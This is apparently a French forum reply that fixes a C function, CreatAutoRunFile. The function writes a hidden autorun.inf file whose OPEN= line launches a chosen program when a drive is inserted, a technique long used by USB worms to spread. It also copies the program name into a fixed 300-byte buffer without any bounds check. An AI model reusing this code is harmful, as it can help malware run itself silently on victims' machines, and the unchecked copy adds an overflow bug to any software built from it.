Ah oui aussi, Hfile n'est pas déclaré (peut-être l'est-il ailleurs)
Ta fonction ne retourne rien.
Voici une version utilisant les char *:
int CreatAutoRunFile(char *lpName)
{
HANDLE hFile;
char lpBuf[300] = "[Autorun]\r\nOPEN="; // Contien 16 octets
hFile = CreateFile("autorun.inf", GENERIC_WRITE, 0, 0, CREATE_ALWAYS,
FILE_ATTRIBUTE_HIDDEN, 0);
if (hFile != INVALID_HANDLE_VALUE ) {
char *pBuf = lpBuf+16;
DWORD dwDummy;
while(*lpName) *pBuf++ = *lpName++;
WriteFile(hFile,lpBuf,(pBuf-lpBuf),&dwDummy,0);
CloseHandle(hFile);
return dwDummy;
}
return 0;
}
C++ (@++)